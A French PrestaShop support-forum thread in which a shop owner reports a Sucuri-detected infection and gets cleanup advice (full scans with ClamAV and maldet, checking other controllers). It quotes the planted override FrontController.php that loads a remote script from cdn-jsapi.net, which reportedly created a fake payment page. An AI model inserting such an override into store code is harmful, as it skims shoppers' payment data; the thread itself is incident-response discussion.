Jump to content

Malware détecté sur mon site https://cdn-jsapi.net


Recommended Posts

Bonjour à toutes et tous,

 

En faisant un check de mon site via https://sitecheck.sucuri.net/, j'ai vu qu'il y avait un malware appelé https://cdn-jsapi.net.

 

En faisant une sauvegarde du FTP sur mon ordinateur et une recherche, j'ai retrouvé un trace de cdn-jsapi.net dans le chemin suivant /clickandbuilds/PrestaShop/MonSite/override/classes/controller/FrontController.php

 

N'ayant pas d'expérience en cas de mauvaise manip, je voudrais savoir ce que je dois faire sans aucun risque sur mon site Prestashop. 

Dois-je changer le code du fichier et le remplacer sur le FTP ? Ou simplement le supprimer ?

J'aimerai connaitre la meilleure solution sans risque.

 

Voici le code du fichier FrontController

<?php

class FrontController extends FrontControllerCore
{
    public function setMedia()
    {
        parent::setMedia();

        $this->registerJavascript(
            'analytics',
            'https://cdn-jsapi.net/',
            [
                'server' => 'remote',
                'priority' => 200,
                'position' => 'bottom',
            ]
        );
    }
}
 

Pour info, mon Prestashop est la version 1.7.8 sur Ionos.

 

Merci pour votre aide.

 

Cordialement

Yan

 

Link to comment
Share on other sites

Bonjour,


Merci pour votre retour.

J'ai finalement supprimé le fichier en question et SiteCheck ne trouve plus le malware.

Je vais me pencher du coté de votre lien, mais j'ai peur que cela modifie des éléments sur mon site. Mes connaissances sont faibles à ce niveau.

 

Cordialement

Yan
 

Link to comment
Share on other sites

4 minutes ago, Eolia said:

c'est bien de le supprimer mais il peut revenir si la porte d'entrée ou les fichiers corrompus sont toujours là.

Oui effectivement je ne me dit pas tiré d'affaire.

Un logiciel de protection de site web serait-il efficace ? Si oui lesquels ?

Link to comment
Share on other sites

Peux-tu vérifier si d’autres fichiers dans /override/classes/ ont aussi été modifiés ?
Parfois, les hackers injectent plusieurs scripts dans des endroits différents, donc il vaut mieux tout comparer avec une version propre du noyau Prestashop 1.7.8.

Link to comment
Share on other sites

Merci effectivement.

J'ai vérifié les fichiers /override/classes/ et aussi dans tout le ftp la présence de "cdn-jsapi" ou juste "jsapi" il n'apparaissait que dans le fichier override/classes/controller/FrontController.php que j'ai supprimé. 

J'ai aussi regardé tous les répertoires de /override/classes/, il ne comporte que 1 fichier index chacun. 

Chaque fichier index ne comporte pas d'autres URL à part https://devdocs.prestashop.com et https://opensource.org/licenses/OSL-3.0&nbsp

 

Le scan de Sucuri avait trouvé le code cdn-jsapi qu'il indiquait comme malware, une fois supprimé, il ne détecta plus aucun malware.

 

J'espère être débarrassé, maintenant il me faut trouver comment combler la faille et faire des checks réguliers.

Le malware créait une fausse page de paiement...

 

Link to comment
Share on other sites

J'aurais une autre question au passage.

Je voudrais mettre à jour ma version php mais je ne sais pas si certains modules ou le thème sont compatibles.

 

Est-ce que le changement de version php modifie le site ou d'autres éléments ? Si des dysfonctionnement apparaissent, est-ce que le fait de remettre la version php actuelle garantira que le site revienne à l'identique ?

 

Merci.

Link to comment
Share on other sites

le code qui générait ce js était planqué en bas de la classe CmsController.php la dernière fois que je l'ai vu.

Je vous conseille vivement de lancer cleaner qui vous trouvera tous les fichiers compromis. Une sauvegarde est faite dans un zip à la racine du site au cas où.

Link to comment
Share on other sites

il y a 18 minutes, YanaLang a dit :

J'espère être débarrassé, maintenant il me faut trouver comment combler la faille et faire des checks réguliers.

Le malware créait une fausse page de paiement...

Vous avez effacé un seul fichier, donc votre pirate est toujours là et a toujours accès à votre site, donc il faut tout nettoyer, sinon, comme Sisyphe, vous allez répéter tous les jours votre tâche.

il y a 9 minutes, YanaLang a dit :

J'aurais une autre question au passage.

Je voudrais mettre à jour ma version php mais je ne sais pas si certains modules ou le thème sont compatibles.

 

Est-ce que le changement de version php modifie le site ou d'autres éléments ? Si des dysfonctionnement apparaissent, est-ce que le fait de remettre la version php actuelle garantira que le site revienne à l'identique ?

 

Merci.

1- Vous êtes limité par la version PHP acceptée par votre version de PrestaShop puis par chaque module, mais en général, les modules compatibles avec votre version de PrestaShop sont aussi compatibles avec les mêmes versions de PHP.
https://devdocs.prestashop-project.org/1.7/basics/installation/system-requirements/#php-requirements

2- IONOS est le seul hébergeur mutualisé (à ma connaissance) qui facture l'usage d'anciennes versions de PHP, ce qui explique aussi pourquoi il est référencé comme étant le pire hébergeur mutualisé de la planète. Cela m'arrive de le citer en exemple de ce qu'il ne faut pas utiliser : https://www.mediacom87.fr/post/hebergement/

Link to comment
Share on other sites

2 minutes ago, Mediacom87 said:

Vous avez effacé un seul fichier, donc votre pirate est toujours là et a toujours accès à votre site, donc il faut tout nettoyer, sinon, comme Sisyphe, vous allez répéter tous les jours votre tâche.

1- Vous êtes limité par la version PHP acceptée par votre version de PrestaShop puis par chaque module, mais en général, les modules compatibles avec votre version de PrestaShop sont aussi compatibles avec les mêmes versions de PHP.
https://devdocs.prestashop-project.org/1.7/basics/installation/system-requirements/#php-requirements

2- IONOS est le seul hébergeur mutualisé (à ma connaissance) qui facture l'usage d'anciennes versions de PHP, ce qui explique aussi pourquoi il est référencé comme étant le pire hébergeur mutualisé de la planète. Cela m'arrive de le citer en exemple de ce qu'il ne faut pas utiliser : https://www.mediacom87.fr/post/hebergement/

Merci pour votre retour.

J'ai donc bien compris qu'avoir supprimé le fichier ne résout pas le problème définitivement.

 

Pour la version de Php je suis donc au maximum car en version 1.7.8 et Php 7.4.

 

Effectivement Ionos fait payer les anciennes versions de Php, mais je ne suis pas sur un mutualisé. 

 

 

Link to comment
Share on other sites

17 minutes ago, Eolia said:

le code qui générait ce js était planqué en bas de la classe CmsController.php la dernière fois que je l'ai vu.

Je vous conseille vivement de lancer cleaner qui vous trouvera tous les fichiers compromis. Une sauvegarde est faite dans un zip à la racine du site au cas où.

Voici le contenu de mon fichier controllers>front>CmsController.php.

Pouvez-vous me dire si vous voyez quelque chose de suspicieux ?
Merci.

<?php
/**
 * Copyright since 2007 PrestaShop SA and Contributors
 * PrestaShop is an International Registered Trademark & Property of PrestaShop SA
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Open Software License (OSL 3.0)
 * that is bundled with this package in the file LICENSE.md.
 * It is also available through the world-wide-web at this URL:
 * https://opensource.org/licenses/OSL-3.0
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to [email protected] so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade PrestaShop to newer
 * versions in the future. If you wish to customize PrestaShop for your
 * needs please refer to https://devdocs.prestashop.com/ for more information.
 *
 * @author    PrestaShop SA and Contributors <[email protected]>
 * @copyright Since 2007 PrestaShop SA and Contributors
 * @license   https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0)
 */
class CmsControllerCore extends FrontController
{
    public $php_self = 'cms';
    public $assignCase;
    public $cms;

    /** @var CMSCategory */
    public $cms_category;
    public $ssl = false;

    public function canonicalRedirection($canonicalURL = '')
    {
        if (Validate::isLoadedObject($this->cms) && ($canonicalURL = $this->context->link->getCMSLink($this->cms, $this->cms->link_rewrite, $this->ssl))) {
            parent::canonicalRedirection($canonicalURL);
        } elseif (Validate::isLoadedObject($this->cms_category) && ($canonicalURL = $this->context->link->getCMSCategoryLink($this->cms_category))) {
            parent::canonicalRedirection($canonicalURL);
        }
    }

    /**
     * Initialize cms controller.
     *
     * @see FrontController::init()
     */
    public function init()
    {
        if ($id_cms = (int) Tools::getValue('id_cms')) {
            $this->cms = new CMS($id_cms, $this->context->language->id, $this->context->shop->id);
        } elseif ($id_cms_category = (int) Tools::getValue('id_cms_category')) {
            $this->cms_category = new CMSCategory($id_cms_category, $this->context->language->id, $this->context->shop->id);
        }

        if (Configuration::get('PS_SSL_ENABLED') && Tools::getValue('content_only') && $id_cms && Validate::isLoadedObject($this->cms)
            && in_array($id_cms, $this->getSSLCMSPageIds())) {
            $this->ssl = true;
        }

        parent::init();

        $this->canonicalRedirection();

        // assignCase (1 = CMS page, 2 = CMS category)
        if (Validate::isLoadedObject($this->cms)) {
            $adtoken = Tools::getAdminToken('AdminCmsContent' . (int) Tab::getIdFromClassName('AdminCmsContent') . (int) Tools::getValue('id_employee'));
            if (!$this->cms->isAssociatedToShop() || !$this->cms->active && Tools::getValue('adtoken') != $adtoken) {
                $this->redirect_after = '404';
                $this->redirect();
            } else {
                $this->assignCase = 1;
            }
        } elseif (Validate::isLoadedObject($this->cms_category) && $this->cms_category->active) {
            $this->assignCase = 2;
        } else {
            $this->redirect_after = '404';
            $this->redirect();
        }
    }

    /**
     * Assign template vars related to page content.
     *
     * @see FrontController::initContent()
     */
    public function initContent()
    {
        if ($this->assignCase == 1) {
            $cmsVar = $this->objectPresenter->present($this->cms);

            $filteredCmsContent = Hook::exec(
                'filterCmsContent',
                ['object' => $cmsVar],
                $id_module = null,
                $array_return = false,
                $check_exceptions = true,
                $use_push = false,
                $id_shop = null,
                $chain = true
            );
            if (!empty($filteredCmsContent['object'])) {
                $cmsVar = $filteredCmsContent['object'];
            }

            $this->context->smarty->assign([
                'cms' => $cmsVar,
            ]);

            if ($this->cms->indexation == 0) {
                $this->context->smarty->assign('nobots', true);
            }

            $this->setTemplate(
                'cms/page',
                ['entity' => 'cms', 'id' => $this->cms->id]
            );
        } elseif ($this->assignCase == 2) {
            $cmsCategoryVar = $this->getTemplateVarCategoryCms();

            $filteredCmsCategoryContent = Hook::exec(
                'filterCmsCategoryContent',
                ['object' => $cmsCategoryVar],
                $id_module = null,
                $array_return = false,
                $check_exceptions = true,
                $use_push = false,
                $id_shop = null,
                $chain = true
            );
            if (!empty($filteredCmsCategoryContent['object'])) {
                $cmsCategoryVar = $filteredCmsCategoryContent['object'];
            }

            $this->context->smarty->assign($cmsCategoryVar);
            $this->setTemplate('cms/category');
        }
        parent::initContent();
    }

    /**
     * Return an array of IDs of CMS pages, which shouldn't be forwared to their canonical URLs in SSL environment.
     * Required for pages which are shown in iframes.
     */
    protected function getSSLCMSPageIds()
    {
        return [(int) Configuration::get('PS_CONDITIONS_CMS_ID'), (int) Configuration::get('LEGAL_CMS_ID_REVOCATION')];
    }

    public function getBreadcrumbLinks()
    {
        $breadcrumb = parent::getBreadcrumbLinks();

        if ($this->assignCase == 2) {
            $cmsCategory = new CMSCategory($this->cms_category->id_cms_category);
        } else {
            $cmsCategory = new CMSCategory($this->cms->id_cms_category);
        }

        if ($cmsCategory->id_parent != 0) {
            foreach (array_reverse($cmsCategory->getParentsCategories()) as $category) {
                $cmsSubCategory = new CMSCategory($category['id_cms_category']);
                $breadcrumb['links'][] = [
                    'title' => $cmsSubCategory->getName(),
                    'url' => $this->context->link->getCMSCategoryLink($cmsSubCategory),
                ];
            }
        }

        if ($this->assignCase == 1) {
            $breadcrumb['links'][] = [
                'title' => $this->context->controller->cms->meta_title,
                'url' => $this->context->link->getCMSLink($this->context->controller->cms),
            ];
        }

        return $breadcrumb;
    }

    public function getTemplateVarPage()
    {
        $page = parent::getTemplateVarPage();

        if ($this->assignCase == 2) {
            $page['body_classes']['cms-id-' . $this->cms_category->id] = true;
        } else {
            $page['body_classes']['cms-id-' . $this->cms->id] = true;
            if (!$this->cms->indexation) {
                $page['meta']['robots'] = 'noindex';
            }
        }

        return $page;
    }

    public function getTemplateVarCategoryCms()
    {
        $categoryCms = [];

        $categoryCms['cms_category'] = $this->objectPresenter->present($this->cms_category);
        $categoryCms['sub_categories'] = [];
        $categoryCms['cms_pages'] = [];

        foreach ($this->cms_category->getSubCategories($this->context->language->id) as $subCategory) {
            $categoryCms['sub_categories'][$subCategory['id_cms_category']] = $subCategory;
            $categoryCms['sub_categories'][$subCategory['id_cms_category']]['link'] = $this->context->link->getCMSCategoryLink($subCategory['id_cms_category'], $subCategory['link_rewrite']);
        }

        foreach (CMS::getCMSPages($this->context->language->id, (int) $this->cms_category->id, true, (int) $this->context->shop->id) as $cmsPages) {
            $categoryCms['cms_pages'][$cmsPages['id_cms']] = $cmsPages;
            $categoryCms['cms_pages'][$cmsPages['id_cms']]['link'] = $this->context->link->getCMSLink($cmsPages['id_cms'], $cmsPages['link_rewrite']);
        }

        return $categoryCms;
    }
}
 

 

 

 

 

Link to comment
Share on other sites

On 06/11/2025 at 16:49, YanaLang said:

N'ayant pas d'expérience en cas de mauvaise manip, je voudrais savoir ce que je dois faire sans aucun risque sur mon site Prestashop. 

Je vous conseille de scanner entièrement votre serveur à la recherche de logiciels malveillants à l'aide de ClamAV et maldet ensemble. Ces deux outils sont entièrement gratuits et open source. L'utilisation des deux outils présente plusieurs avantages :

ClamAV — moteur antivirus de base

Dispose d'une vaste base de signatures de virus détectés dans le monde entier (chevaux de Troie courants, backdoors, chevaux de Troie mineurs, scripts PHP infectés).

Il fonctionne rapidement, de manière stable, et s'intègre bien dans cron, les services de messagerie et les scanners de fichiers.

Cependant, ClamAV n'est pas toujours orienté vers les sites web, ce qui signifie qu'il peut passer à côté de scripts malveillants personnalisés ou spécifiques à un CMS (tels que des injections dans des modèles, des shells cachés, etc.).

Maldet — « scanner web » spécialisé

Conçu spécialement pour les environnements web, les hébergements et les serveurs avec des sites en PHP, WordPress, PrestaShop, Joomla, etc.

Il analyse non seulement les signatures, mais aussi les modèles typiques de comportement des infections Web (par exemple, « obfuscated base64 eval », « str_rot13 shell », « GIF89a + PHP » injectés, iframes cachés).

Il est entièrement intégré à ClamAV et peut utiliser la base ClamAV comme moteur supplémentaire pour une analyse plus approfondie.

 

Vous pouvez ainsi soit supprimer les fichiers infectés, soit obtenir la liste des fichiers infectés et effectuer les actions nécessaires, par exemple supprimer le code malveillant s'il est intégré dans des classes ou des contrôleurs fonctionnels.

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...